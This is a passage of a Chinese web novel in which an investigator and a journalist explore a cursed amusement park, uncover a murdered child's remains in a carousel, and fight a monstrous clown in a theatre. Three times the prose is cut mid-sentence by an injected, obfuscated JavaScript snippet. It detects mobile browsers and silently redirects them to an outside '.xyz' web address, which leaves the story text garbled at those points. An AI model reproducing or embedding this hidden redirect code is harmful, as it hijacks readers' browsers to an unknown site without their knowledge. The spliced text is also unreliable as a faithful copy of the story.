她观察了一会，发现旋转木马的位置就在游乐园的正中间，她放大照片，发现旋转木马的底盘画着一个图案，是个巨大的五芒星，而那五只木马，正好就位于那五芒星的星芒尖尖处。 不断缩小照片，余颂时发现，整个游乐园的布局都是以旋转木马，也就是五芒星为核心延伸出去，五只木马围绕着的核心，以俯视的角度可以看得清清楚楚，旋转木马的顶尖，是个羊头。 不对—— 余颂时把照片倒转过来，才发现，这不是五芒星，这是个倒五芒星。 她倒吸了一口冷气。 这个旋转木马是阵眼的话，那就是有人想以整个游乐园游客的命献祭。 “这个旋转木马的照片，是在哪里拍的？”余颂时问。 “是在旁边的惊奇屋二楼。”杜瑾回答道，“那时候我跟着游客一起上去，在二楼休息台那里正好可以看见这个旋转木马。” 余颂时关掉了照片预览，转头对杜瑾说：“我们去旋转木马那。” “好。”杜瑾愉快地点点头，迈开脚步就要过去，被余颂时拉住了手。 杜瑾奇怪地问：“怎么了？” 余颂时卸下身上的黑色书包，从里面拿出了防护口罩，防护外套和折叠头盔，递给了她：“以防万一，戴上这些东西，接近污染核心的时候不会被污染。” “哦哦。”杜瑾连忙蹲下来，戴上遮了半边脸的防护口罩，又接过折叠头盔，她像看到了什么新鲜物件一样，好奇地摆弄了半天。 “怎么了？不会戴吗？需要我帮忙吗？”余颂时也给自己戴了头盔，问道。 “不是不是。就是没见过这么高级的东西，有点好奇，嘿嘿。”杜瑾笑了一声，马上把头盔戴了起来。 “哇，在这里面还能听见声音诶，好清晰。”杜瑾眨了眨眼，“而且这里面还有光屏，可以调节氧气含量和净化值诶。” 余颂时无奈地摇了摇头：“你不是做调查记者的么？应该很多次接触这种污染场合吧，都没有防护措施的么？” “害，我们调查记者都是最底层的，这些设备这么贵，哪里买得起。”杜瑾叹了口气，“每次调查都是九死一生，我早就做好了有去无回的准备了。能活着回来就是万幸。” 余颂时整理头盔的动作顿了顿，虽然知道这个世界极端不平等，但在听到杜瑾用云淡风轻的语气说出残酷无比的现实时，还是忍不住心生感慨。 余颂时从背包里又找出了一支手枪，一个手电筒和一个污染值检测仪，都给了杜瑾。 “这么多，都给我吗？”杜瑾有些惊讶。 余颂时背起背包，看了她一眼：“对。一会情况如果危急，我顾不上你，你自己找地方躲着。” “躲着像什么样。”杜瑾不满地说，“娘们就要战斗！” 余颂时被她逗笑了，她摇摇头，喊道：“走啦！” 人潮早已消失不见，余颂时让头盔接入自己的手环，打开导航，跟着导航语音走。 游乐园街道两旁挂着的霓虹灯静静地闪烁着，灯光汇成灯河，延绵向前，直至没入黑暗之中。 两人走了十分钟左右，才远远地看见旋转木马的轮廓。 “快到了。”余颂时戴着头盔，听起来声音闷闷的，“你跟得上吗？” 虽然防护头盔自带空调和换气系统，但普通人没经过训练，一直戴着防护头盔也会不适应。 “呼，跟得上，跟得上。咱们快去吧。”杜瑾从后面小跑着赶上来，挥了挥手。 旋转木马位于亲子乐园园区里面，亲子乐园园区门口摆着许多动物雕塑，草坪上还有修剪成动物形状的灌木丛，看起来栩栩如生，惟妙惟肖。 可一看到这些雕塑和灌木丛，那种被人凝视的感觉又回来了。 那些雕塑明明没有眼睛，但当她们到亲子乐园门口的时候，却有一种它们齐刷刷朝这里看过来的感觉。 余颂时顿觉如芒在背，浑身上下都不舒服起来。 “走吧，快进去吧。”余颂时拉起拉链，对杜瑾说。 在污染区域待得越久，越容易在不知不觉中被精神污染。 走进亲子乐园，旋转木马就出现在了眼前。 夜色如酽，游乐园繁复绚丽的灯球缀在木马四周，敬业地照亮着整个旋转木马，衬得旋转木马亮如白昼，像是一场盛大宴会的前奏。 远处的月亮又大又圆，悬于空中，洒下柔软的光。 不知什么时候，雾气渐起，黏稠的浓雾在彩灯之间流淌，像动物的黏液。 雾气给余颂时的第一感觉非常不好，她后退了一步，给杜瑾使了个眼色，把别在裤子上的清洁枪拿在了手里。 杜瑾会意，也把手枪拿在了手里。 两人背靠着背，防备着污染物从浓雾中突然窜出袭击她们。 世界像是被抽干了空气一样，静得令人害怕。 突然间，余颂时听见了一阵齿轮咬合转动的摩擦声，像是生锈已久的机械开始转动，发出令人齿根发酸的吱呀声。 还没等余颂时找到声音来源，旋转木马爆发出刺耳嘈杂的音乐声，是变了调的协奏曲，原本欢快的儿童歌谣混入了低沉的男声，听起来像无数人在礼堂里齐声唱赞颂歌。 声音不断变大，声调越来越尖锐，似乎还混着一些无法识别的声波，不断地攻击着余颂时的耳膜。 她有一种被蛊惑的冲动，仿佛她也想走进去，加入他们，和他们一起齐声歌唱。 【警告：您的精神值在急速下降中。】 余颂时的头盔发出滴滴的警报声。 要冷静。余颂时拼命从歌声里撕扯出一丝清明，但随后，无数张孩童的脸在她眼前闪了过去，和寻人启事的黑白照片一起，交叠着，缠绕着，她的头剧烈地疼痛起来，仿佛脑子在零点几秒内被塞进了大量无用的信息流，彻底让理智停摆罢工。 她能确定，污染核心就在这附近！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072726|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在她忍着剧痛准备拿起清洁枪朝木马开枪的时候，声音骤然停止了。 余颂时整个人仿佛劫后余生，浑身是汗，浸透了衣服，她大口喘着气，回头看了一眼杜瑾。 杜瑾的脸色发青，唇色发白，像是刚生了一场大病。 周身的雾气渐渐散去，露出旋转木马来。 旋转木马唱着欢快的歌谣，一个追着一个，在圆盘上不停地转动，永不停止的循环。 余颂时想走上前，却被杜瑾猛地拉住手臂。 她回过头，见到杜瑾脸色发灰，流海微湿，几缕黑发黏在她的额头上，看起来有些狼狈。 “这个木马，没插电。”她指了指旁边早已被切断的电源线，声音颤抖，“它是怎么转起来的？” 余颂时第一反应是，这地方哪哪都不对劲，谁还在乎这个？ 虱子多了不怕痒。 这时候哪怕旋转木马转着转着突然飞升上天了，她也要往前走去看个究竟。 她做了个手势，示意杜瑾在原地等她，她自己则从包里又拿出一把装满弹匣的手枪往前走。 余颂时到了旋转木马前面，四处查看起来。 旋转木马看起来崭新光洁，外表的彩漆看起来依然鲜艳亮眼，暖黄色的灯光给它镀上了一层釉漆似的亮光。 余颂时蹲下来查看圆盘边缘，发现边缘的土有被翻动过的痕迹，她戴了手套，伸出手探了探，湿润的。 她又放在鼻子下嗅了嗅，泥土带着潮气，还带有一股有些呛人的腥味。 对气味敏感的余颂时立刻判断，这是血腥味，错不了的。 哪来的血液？ 她思考片刻，又从背包侧边翻出一包试纸。 她把手上抹了抹，洁白的试纸顿时出现一抹淡红，过了几分钟，试纸上方显出一行数据分析。 “陈旧血迹。无法判断形成时间。” 余颂时皱了皱眉，把试纸扔到一边，站了起来。 她刚才就在思考，假如这是某个丧心病狂的献祭仪式，那么什么是祭品？ 总不能是这五个木马吧？ 献祭仪式一般是要用活物，但显然这个仪式的阵眼除了这五个旋转木马，没有其他东西了。 还是说，是这些来玩旋转木马的孩子们？ 余颂时把目光投向了旋转木马上，她挨个查看木马，用手指在木马上叩了叩，听声音。 一般情况下，木马发出的声音是闷闷的，水泥的声响，一直到了第五个木马，她发现了不对劲。 这个木马的声音非常空洞清脆，里面不像实心的，像被掏空了。 难道……？ 她心里浮起一个可怕的猜测。 这想法一浮现，就让她头皮发麻，浑身发冷。 余颂时后退了一步，拿出手枪，朝着木马砰砰开了好几枪。 木马的外壳应声而碎，她拿出便携电锯，从弹孔处割开了木马。 从旋转木马里，缓缓淌出了殷红的血液，血液顺着木马往下流，一直流到圆盘上，汇成一小块暗红血泊。 余颂时还在不停地锯，电锯的锯齿也染上了鲜血，有几滴鲜血溅到她的头盔上。 终于将这个木马剖了腹，余颂时往里看了眼，是空的，几乎被掏空了，只剩下几根残余的骨头。 她拿出骨头，对比了一下，搜索了一下自己模糊的记忆，判断这是孩童的腿骨。 什么人，竟然真能丧心病狂到把孩子杀了装进旋转木马里。 简直是骇人听闻，令人发指。 一想到曾经无数个天真的孩童曾经骑在木马上，发出愉快的笑声，而他们并不知道，木马里装的是和他们一样大的死去的孩童，余颂时就汗毛倒竖，毛骨悚然。 她觉得眼前阵阵发晕，一低头，瞥见木马里掉出来一个小小的方形名牌，像是身份证。 她蹲下来，捡了起来，用手擦拭去上面的血迹。 身份证上是一个七岁左右的女童，眉眼弯弯，非常清秀。 姓名：林娟 年龄：7岁 身份等级：E等公民 地址：西河小区B1栋404 林娟……？ 这名字好熟悉，似乎在哪里听到过。 对！余颂时突然想起，那个小熊超市的管理员林伟曾经说过，他有个女儿叫林娟，和李钦的女儿李慧一起，参加了这里的舞蹈团的训练，两个女孩一起失踪了。 如果林娟已经遇害，那估计李慧也…… 一想到这，余颂时的喉头突然有些哽咽，说不出的难受。 她叹了口气，把那身份证上的血迹又擦了擦，直到完全干净，才郑重地把它放进包里。 不管怎么样，也要给他们一个交代。 余颂时站了起来，目光落在其它四个木马上。 也就是说，这里还有其它四个被困的孩子尸体，被掩埋在了木马里，永远地封存。 她低头看了眼染血的电锯，一个人肯定没时间锯开剩下的木马，何况她还要去完成任务。 对了，杜瑾呢？ 她猛然想起，从刚才开始，她闹出这么大的动静，杜瑾似乎都没有注意到。 余颂时心里一惊，往门口一看，杜瑾果然不见了！ 9. 怪奇屋 周围是弥漫雾气的游乐园，触目可及的一切都像是被蒙上了一层浅色的纱，这雾气似乎有生命，隐隐地涌动包裹在她周围，余颂时警惕地观察四周，害怕像上次遇见毒雾霾一样，被轻柔地缠住脖颈，窒息而死。 但这雾气似乎也只是萦绕在她周围，并没有进一步动作。 余颂时试图往前走了一步，发现没有危险之后，才放心向门口走去。 “杜瑾——！”余颂时边大声叫喊边打开头盔的探照灯四处寻找。 透过雾气，她听见了一阵欢快的音乐声传来，她仔细聆听，判断是从怪奇屋那里传来的。 在浓雾里，她看不清东西，只能摸索着往前走，步履蹒跚且缓慢，像盲人走路。 雾气里某处发着隐约的闪烁光亮，她朝着那处光亮一直走，直到眼前的雾气慢慢散去，怪奇屋三个由霓虹灯构成的字水落石出，呈现在眼前。 刚才的人潮都拥挤在门口，似乎在等待怪奇屋开门。 余颂时过来的时候，有几名游客注意到了她，向她投来古怪的目光。 余颂时低头看了看自己，发现自己手上还拿着那把折叠电锯。 看起来像刚从电锯杀人狂剧组里跑出来的。 她不好意思地冲游客们笑了笑，默默把电锯收了起来，放进了包里。 怪奇屋的外表装饰得十分吸引人，门上用糖果和面包作装饰，基本都是用红色，橙色，粉色之类的大片暖色铺盖，给人以温馨温暖的童话感。 余颂时垫着脚，试图在黑压压的一片后脑勺里寻找杜瑾的丸子头。 但可惜的是，人太多了，她看不见杜瑾在哪。 找了一会，余颂时揉了揉眼，打算先放弃了。 人群突然爆发出一阵欢呼声，只见怪奇屋的大门缓缓开启，人头攒动，一个挨着一个，纷纷涌入。 余颂时站在队伍的末端，也跟着一起进去了。 她倒是要看看，这怪奇屋里到底有什么东西，那么恐怖。 进入怪奇屋的时候，一片黑暗，什么也看不清，身后的门在进入的时候应声关上。 门关上的瞬间，怪奇屋亮起了灯，灯光昏暗不明，但足以视物。 他们正处在一个长廊里。 长长的走廊尽头，开着一扇大门，大门镶嵌着各色彩色玻璃，流光洋溢。 走廊两边排列着不同的动物雕像，只是这些动物雕像与刚才余颂时在亲子乐园那里看到的不同，这些动物雕像要么是动物身人的头，要么是动物的头人的身体，千奇百怪，形态各异。 余颂时边走边用手电筒查看这些雕塑，时不时让手环的智能管家帮忙拍照和录视频。 这些雕塑中，非常具有标志性的雕塑就是人马和人鱼。 人马的上半身是个裸体男人，男人垂着眸，双手合十，表情哀伤，似乎在祈祷。 人鱼的上半身是半裸的女人，头发柔顺卷曲，面容昳丽，她正俏皮地看着手上的泡沫球，然而等余颂时凑近了看，才发现那泡沫球是颗眼球，眼球上的瞳孔微微放大，盯着来人。 余颂时抬起头，此时在光线的作用下，人鱼的眼睛被黑暗笼罩，而嘴角的弧度在光线的投影下凸显出怪异的阴影，让她略显俏皮的神情变得阴沉森冷。 余颂时立刻缩了回去。 除了人马雕塑还算比较美型之外，其它雕塑可以称得上猎奇了，有牛头人，羊头人，鼠头人，还有一个雕塑是人的上半身，下半身长满了章鱼的触手，触手疯狂缠绕，每只触手上都长着密密麻麻的眼睛。 不知道这走廊的灯光是怎么设计的，余颂时总有种错觉，无论你站在哪，这些眼睛都会朝着你的方向。 这段漫长而诡异的走廊终于走完了。 余颂时站在敞开的大门前，似有所感，回头看了一眼。 雕像并没有动，有一半笼罩在完全的黑暗中，她往上看了看，有红光在黑暗里闪烁。 她举起手电筒，发现那是一个装在角落里的监控摄像头。 监控的红光根据一定的频率闪烁着，像一只在黑暗里注视着你的眼睛。 余颂时缓缓转过身，推开大门走了进去。 这是谁设计的亲子之旅？ 余颂时在心里不忘吐槽一句。 进入大门之后，依然是个走廊，但是这次变成了艺术长廊，走廊上挂着各种不同的图画。 余颂时一个个查看过去，都是些看不懂的线条抽象画，要么是大块的鲜明色块拼接撞击，通通都很难理解。 大概艺术就是奔着让人看不懂的方向去的。 她摇了摇头，看了眼自己的手环，依然在通过头盔的摄像头录制中，她决定加紧脚步往前走了。 就在她转了个拐角，准备下楼的时候，挂在楼梯拐角处的一幅画引起了她的注意。 那幅画是画工细致繁杂的油画，上面绘画的是一片汪洋大海之上，一名海神正举着三叉戟向天刺去，祂的周身波涛汹涌起伏，包裹着祂的身体，祂的腰腹，手臂，脑袋长出无数触手，缠绕着三叉戟。 从画上看，作者特意模糊了性别，看不出来这位神的性别。 也或许性别根本不重要。 余颂时举起手环，特意留了张最高画质的4D照片，才从楼梯走下去。 楼梯是旋转楼梯，扶手上雕刻着复古繁丽的镂空花纹，楼梯上还铺着红地毯，天花板上水晶吊灯摇晃，投下暧昧的光晕。 余颂时下了楼梯，转了弯，推开门，这扇门之后是一个小型的博物馆。 不大的房间里放满了大大小小的玻璃橱柜，橱柜里摆放的都是各种古董娃娃和玩具，余颂时一个个橱柜看过去，这些娃娃并没有什么稀奇的，只是它们都有一个特点：没有眼睛。 本该装着漂亮眼珠的眼眶却是空洞漆黑的。 就像是……有人刻意不给它们装上眼珠。 更诡异的是，在房间的出口，还设置了自助购物收银台。 原来这并不是陈列的展品，而是纪念品商店。 余颂时：…… 到底会有谁买这么鬼气森森的东西回家？为了什么，招魂吗？ 这东西适合打包丢去温子仁电影里当道具。 她只在这呆了几分钟，就觉得这个屋子冷气逼人，多呆一刻都觉得有寒气攀着小腿直冲天灵盖。 她也不头铁久留，匆匆拍了照片就离开了。 出了房间之后，视野瞬间宽阔了许多，余颂时往四周看了看，刚才的人群全都聚集在这里，这里应该就是剧院门口了。 余颂时很快发现在不远处，有个小丑扮相的人站在门口，正微笑着朝每个人点头。 小丑画着格外夸张的妆容，脸上涂满了油漆水彩，这些色块像是随意泼洒上去的，没有任何规律和图案可言，像是把调色盘上的所有颜色都抹了上去，看起来有种为了突出华丽把所有值钱衣服都穿在上面的滑稽感。 然而最显眼的是小丑裂开的鲜红的微笑。那微笑咧到耳根处，贯穿了下半张脸，不像是笑，倒像还没愈合的鲜血淋漓的伤疤。 余颂时突然想起那个帖子，上面录的视频里出现的，正是这个小丑。 小丑打开了门，游客们开始进入剧场，他则在旁边不停地鞠躬，每有人经过，他都要大声说一声欢迎光临，态度非常恭敬讨好。 余颂时又是最后一个进去的。 她经过小丑的时候，小丑向她深深地鞠了个躬，余颂时看着小丑头上沾着油彩的头发，心里突然冒出一个不适时的想法。 他这样每天下班，都要清理很久吧？ 为了每天有着最好的状态上班，即使下班了也要认真打理，第二天上班即使心情再不好，也要微笑着面对每个游客，哪怕游客的态度不友好不礼貌。 她突然理解了为什么有小丑奇谈的存在了。 余颂时走进剧场，剧场里漆黑一片，还凉飕飕的，她摸黑往下走，准备找一个座位坐，手突然被人拉住了。 她顿时像只被踩了尾巴的猫，手条件反射地就摸上了枪。 “别，是我。” 耳边传来低沉的声音。余颂时往旁边看去，看到熟悉的脸，是杜瑾。 “吓死我了。”余颂时松开了枪套，长舒一口气，站直了身体问，“刚才你不见了，我找了你好久。你去哪了？” 杜瑾沉默了一会，然后摇了摇头：“我也忘记了。” “我在原地等你，突然起雾了，我一直看不见你在哪，也听不见你的声音，我就到处找你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072727|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不知不觉就走到怪奇屋门口了，接下来我就没意识了，整个人恍恍惚惚的，再睁开眼，就到了这。” “这样啊……” 余颂时点点头，她瞥了一眼杜瑾，却总觉得她这番说辞哪里怪怪的，可她也来不及细想，有太多的任务需要她去做。 她们俩在黑暗里打着手电筒摸索了半天，特意避开游客，找了个中间排的位置坐下。 “在这视野好。”余颂时低声对杜瑾说。 杜瑾点点头，举起自己的手环拍了几张照，然后冲她竖起大拇指。 余颂时有些想笑，怎么搞的真的是来看演出似的。 她环顾四周，发现李钦就坐在她们的斜前方，正聚精会神地盯着舞台。 余颂时借着舞台上投下的微弱的光观察了一下，发现李钦状态和之前简直判若两人，现在的他，身上皮肉完好光洁，就像刚才余颂时在门口见到他的样子。 一丝微妙的感觉爬上余颂时的心头。 叮叮叮。 铃铛响动的清脆声音突然响起，旁边的杜瑾轻轻拉了下她的袖子。 “开始了。” 余颂时强压下自己身体的不适，把目光转回到了舞台上。 丝绒红幕布缓缓拉开，露出后面的舞台全景，舞台布景非常简单，背景是简单的大片大片云朵，暗黑的夜幕上繁星闪闪，舞台灯光聚焦于中央，正中间躺着一个巨大的贝壳，灯光打在贝壳上，贝壳散发着柔润的莹莹蓝光。 轻柔的钢琴声响起，空灵的吟唱徘徊在剧院上方，歌声婉转动听，如旧日里的塞壬歌谣，引诱水手潜入深沉的海底与她共舞。 所有人都专心致志地盯着舞台。余颂时也是。 她的精神值只剩下1000，之后还有可能与污染物作战，那是最消耗精神值的，从现在开始，她必须时刻保持清醒。 在哀伤的歌谣吟唱中，贝壳缓缓被打开，里面躺着一个半卧着的年轻女孩，伴随着歌声逐渐进入高潮，女孩慢慢地苏醒，起身，她大约十七八岁左右，身材高挑，四肢细长，皮肤白皙，穿着一身洁白的蕾丝裙子，脚上却穿着一双艳丽的红舞鞋。 她缓缓站了起来，走下贝壳，开始了她的表演。 她闭上眼，踮脚开始旋转，舞台的光照在她的脸上，眼影闪着细碎的光，像泪滴划过脸庞。 不过，余颂时注意到，对比左腿的灵活和柔软，她右腿的动作有些不太自然和僵硬。 余颂时看着看着，就觉得这个女孩身体的柔韧度超出想象，达到了柔弱无骨的境地。 在她踮脚绕着贝壳不停地绕圈旋转了三圈之后，她做出了一系列高难度动作，比如下腰，翻跟斗，鞭腿转，除去这些芭蕾舞特有的动作之后，她接下来做的动作就超出正常人类所能做的动作范围了，比如，下腰之后双手牢牢锁住双腿，比如在贝壳只打开一条细小的窄缝的情况下灵巧地钻了进去，还比如……身子不动，却能把头360度转过来。 这已经不是高难度动作了，简直堪称惊悚。 然而旁观者丝毫没有意识到问题所在，还在不停地鼓掌欢呼。 女孩似乎也被掌声所鼓励，她脸上的笑容愈发灿烂，边保持头不动边旋转着身体，像八音盒上灵巧的人偶。 边旋转边保持着不变的笑容，那笑容就像画在了脸上，永远不变。 余颂时深吸一口气，想要移开视线，她转过头，看到旁边的杜瑾略张大了嘴，眼神里全是茫然和恐惧。 “怎么会……她……”杜瑾的声音颤抖着，“她好像……” 余颂时皱起眉，又看向舞台，她点开头盔的放大功能，放大了芭蕾舞女孩的脸。 她观看了片刻，直觉这张脸有哪里十分奇怪，仔细一看，才发现这古怪之感从何而来。 女孩的身体是十七八岁成熟少女，可是脸却非常幼态，脸和身体形成奇怪的不协调感。 余颂时突然从这张清秀的脸上发现了几分熟悉的感觉。 娃娃脸，大眼睛，鼻子上有显眼的雀斑，右眼下有一颗痣。 她急忙打开手环，点开之前拍的寻人启事的照片。 虽然五官确实成熟了不少，与照片上有些差别，但面前这个人，显然是那个失踪的七岁小女孩李慧！ 10. 红舞鞋 余颂时顿时觉得后背发毛，冷汗从额头上流了下来。 可是怎么会？ 李慧是在游乐园出事的一年前失踪的，那时候她才七岁，就算上这四年，她也只有十一岁，根本不可能是眼前十七八岁的年纪！ 是什么让她一年之内从七岁长成了十七岁？ 而且李慧不是先天残疾，缺了一只腿吗，为何舞台上的李慧四肢健全，她究竟发生了什么事？ 那李钦呢？ 李钦认出这是自己的女儿了吗？ 余颂时立刻往李钦的方向看，但李钦还是保持着刚才的姿势，一直盯着舞台看，他的神情很平静，甚至麻木。 他没认出自己的女儿吗？ 余颂时又看了一眼舞台上不断旋转，似乎永远不会疲惫的李慧，可是如果连她们都能看出这是李慧，难道他作为抚养李慧长大，最熟悉李慧的人，会认不出来她吗？ 不，不会的。 这世上没有认不出儿女的父母。 脑海里突然闪过刚才在旋转木马处捡到的林娟的身份证。 一个成型的推测渐渐浮现。 李钦一直找不到自己失踪的女儿，于是他在女儿失踪的游乐园里找到了一份保安的工作，每天执着地往公告栏上贴寻人启事，但依旧石沉大海，杳无音讯。 那天是游乐园的庆典之夜，李钦也一起去看表演了。 这是他第一次来怪奇屋看表演。从前虽然他一直在游乐园工作，但他每天都被工作和找女儿两件事填满，根本没心思去关注别的事。 等到表演开始，他看着舞台上做出各种匪夷所思动作的演员，内心的恐惧却一点点地填满了他的心脏。 那个演员怎么那么像自己的女儿！ 可是女儿只是七八岁的小孩，眼前这个高挑成熟的十七岁少女，怎么可能是李慧，一定只是长得像自己的女儿罢了。 可是每一次演员抬眸望向他的时候，那双大眼睛里似乎满溢着泪水，眼睛旁边点缀的泪钻像无数颗痛苦的泪滴，她在试图向他求救。 但是受到巨大冲击，思维混乱的李钦不敢相信这是他的女儿。 于是接下来，他应该直接逃跑了，因为他不能面对这个极具冲击力的事实。 让他没想到的是，游乐园接下来发生了严重的污染事故。 他被赶来的警察疏散，一直被禁止进入游乐园。 可神智恍惚的李钦依旧坚信，女儿还在游乐园里，于是在某天夜里，他偷偷溜进游乐园里，到处寻找女儿的踪迹。 不知是什么原因，他找到了旋转木马，然后将其中一个木马砸开，看到了里面躺着的被封存的女童尸体。 那并不是李慧，而是和李慧一起走散的林娟。 可早已疯疯癫癫的李钦看见和七岁李慧一般大小，长相相似的林娟，就坚持认定这是自己的女儿李慧。 毕竟在他的心里，女儿是那个会和他撒娇的七岁孩子，并不是被迫痛苦跳舞的十七岁少女。 所以这也能解释为什么李钦的腐化程度比其它人更严重，他是唯一一个之后再返回游乐园，并且近距离接触了被污染最严重的“祭品”的人。 当时的警察和特种小队应该已经清理干净游乐园了，所以星耀游乐园并不是有残余的污染作祟，而是李钦自作主张挖出了封存的尸体，造成了二次污染。 所有线索都串起来了，但拼图却并不完整，还差一点什么。 余颂时正在思索之时，杜瑾突然抓住了她的手臂，她低声说：“那是李慧，对吧？我在门口的寻人启事看见过她。” “对。”余颂时也低声应道。 杜瑾的眼睛看着她，欲言又止。 余颂时正想接着问的时候，余光瞥见前排的李钦突然踉踉跄跄地站了起来，往出口走去。 和余颂时猜测的不错，哪怕这么多年了，他还是不能接受台上的演员才是他真正的女儿，李慧。 可是看到自己的父亲对自己视若无睹，李慧的心情是什么样的呢？ 余颂时看向舞台，舞台上的少女扬起修长的脖颈，如一只优雅的天鹅，还在不知疲倦地跳舞着。随着节奏加快，她的动作也随着密集的鼓点变得越来越快，脚上的红舞鞋不断交叠，缠绕，最后简直快成了红色的残影。 她的头和身子好似分割成了两部分，各自以各自的频率和节奏旋转，仿佛一具失控了的玩偶。 余颂时心里顿时浮起不好的预感。 她把清洁枪拿了出来，略微俯下身子，对旁边的杜瑾低声说：“低头。俯身。” 杜瑾愣了下，然后连连点头，立刻照做。 下一秒，舞台上的少女突然发出一声痛苦的嚎叫，她的皮肉像是支撑不住自己的骨骼，迅速干瘪下去，坚硬的骨骼如树枝一般戳穿了她的皮肉，李慧的头像一颗皮球似的，迅速飞了出去，而她的下半身的红舞鞋还在不受控制地跳动着。 观众席发出一声尖锐的尖叫声，耳边的声音顿时变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072728|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘈杂起来。 余颂时在那瞬间拉着杜瑾一起蹲下。 然而刚蹲下，李慧的头就落在了她眼前，正巧对上那双死不瞑目的眼睛。 余颂时闭上了眼睛，果然以她倒霉的定位，坏事总能落到她头上。 【警告：您的精神值已下降1%】 余颂时闭着眼睛，抬起手，毫不犹豫地朝那颗头颅开了一枪。 接着，她站了起来，朝舞台上那棵人体树又开了一枪。 两枪消耗了她500精神值。 舞台上的骨骼瞬间被击碎成无数碎片，和地上的头颅一起，形成无数透明的如珍珠一般的粒子，宛如漫天雨滴，朝余颂时飞来。 余颂时拿出背包里的精神粒子收纳器，精神粒子纷纷飞进收纳器里。 这是余颂时出门前通过兑换从系统商店里得到的。 上一次她吸收污染物净化后的精神粒子非常简单粗暴，有极大的副作用，这次用收纳器，总比自己直接吸收要来得好。 【正在收集精神粒子……】 【载入精神值中……精神值更新……您目前的精神值为2400】 【支线任务：调查并解决废弃游乐场污染源，已完成40%】 【净化特殊污染物，李慧，解锁神秘道具，红舞鞋，知识值更新至20%】 余颂时走到舞台上，捡起那双落在舞台上的红舞鞋。 那双红舞鞋的鞋码是七岁女童的鞋码。 这是李钦送给女儿的礼物。 残疾的女儿却怀着舞蹈家的梦想，患有佝偻病，需要靠医药维持生命的父亲拼命赚钱想给女儿换上假肢。 到最后压死李慧的最后一根稻草，不是日复一日的病痛折磨，而是父亲转身离去的背影。 她被抛弃了。 这个世界上最后一个真切爱着她的人，却根本不愿意面对真实的她。 不过支线任务并没有完全完成，污染源还是没有找到。 李慧不过是其中的一个受害者而已。 门口突然传来一阵骚动。 一群游客堵在紧闭的大门口，拼命敲门，大声叫喊：“放我们出去！” 声波一浪盖过一浪，其中还混杂着哭声和尖叫声，剧场的音乐却仍然在播放着。 杜瑾也来到了她的身边，神情复杂地盯着余颂时手上的红舞鞋。 “各位！表演还没结束！” 身后突然传来小丑高亢的，变了调的声音。 11. 杜瑾 余颂时转过身去，看见小丑不知什么时候来到了舞台上，他脸上的油彩斑驳，笑容却依然灿烂鲜艳，他张开双臂，仿佛要进行一场激情澎湃的演讲。 “各位——我是惊奇屋的团长克奇，我们的表演还没结束，大家不要走呀！” 余颂时没心思听小丑胡扯，她后退了一步，毫不犹豫地举起了枪。 “去死吧。” 清洁枪射出一颗子弹，子弹直中克奇的眉心，然而除了那儿出现了一个血洞之外，克奇没有任何倒下，也没有任何变化。 怎么回事？余颂时警惕地后退了一步，直觉眼前这个叫克奇的团长不简单。 “哈哈哈哈——”克奇突然放声大笑起来，他的笑容尖锐刺耳，听得人起了一身鸡皮疙瘩。 “尔等凡人，这就能杀得了我吗？”克奇发出奇怪的咯咯笑声，听起来像是上下牙齿不断反复敲击发出的声响。 随着这令人齿根发酸的声响响起，克奇的身体不断膨胀，变大，像一个充气娃娃，他身上的肌肉涨起，血管突出，根根可见，站在门口的游客们集体像被吸引了一般，发出沉闷的咯咯笑声。 余颂时立刻开了头盔的屏蔽模式，也帮杜瑾一起开了，她拉着杜瑾快速后退到墙角。 头盔的屏蔽模式可以阻挡过滤一部分的声波污染，但撑不了太久，她要在杜瑾的精神值耗尽之前解决掉克奇。 克奇的污染级别和李慧根本不是一个等级的，头盔给出的判断是四级，她目前才一级，如果要解决克奇，必须要找到克奇的污染核心在哪，对准污染核心赌上全部的精神值开一枪，才有胜利的可能。 否则今天她和杜瑾都得死在这里。 该死的，系统派送的第一个任务不应该是新手友好型吗？ 上来就这么地狱难度的，这是巴不得她马上死吧。 舞台上的克奇已经膨胀到舞台的顶端，那些游客则像冰淇淋遇热一样，迅速融化，无数血肉朝克奇涌去，将他的身体堆积得越来越庞大。 克奇此时已经变成了一个肉堆，他脸上的油彩融于其中，唯脸上诡异的微笑还是一成不变的。 “谁也不准走，谁也不准走……” “这是我的怪奇屋，我的怪奇屋……” “你们为什么不喜欢我的表演……为什么……” “我的表演这么好……” “该死的，该死的。我已经在尽力笑了呀……” “你们没看见我在笑吗！” 克奇的声音从各处传来，混杂着各种情绪，愤怒的，悲伤的，愤愤不平的，质问的，每句话都换一种截然不同的语气，不停地在耳边回响。 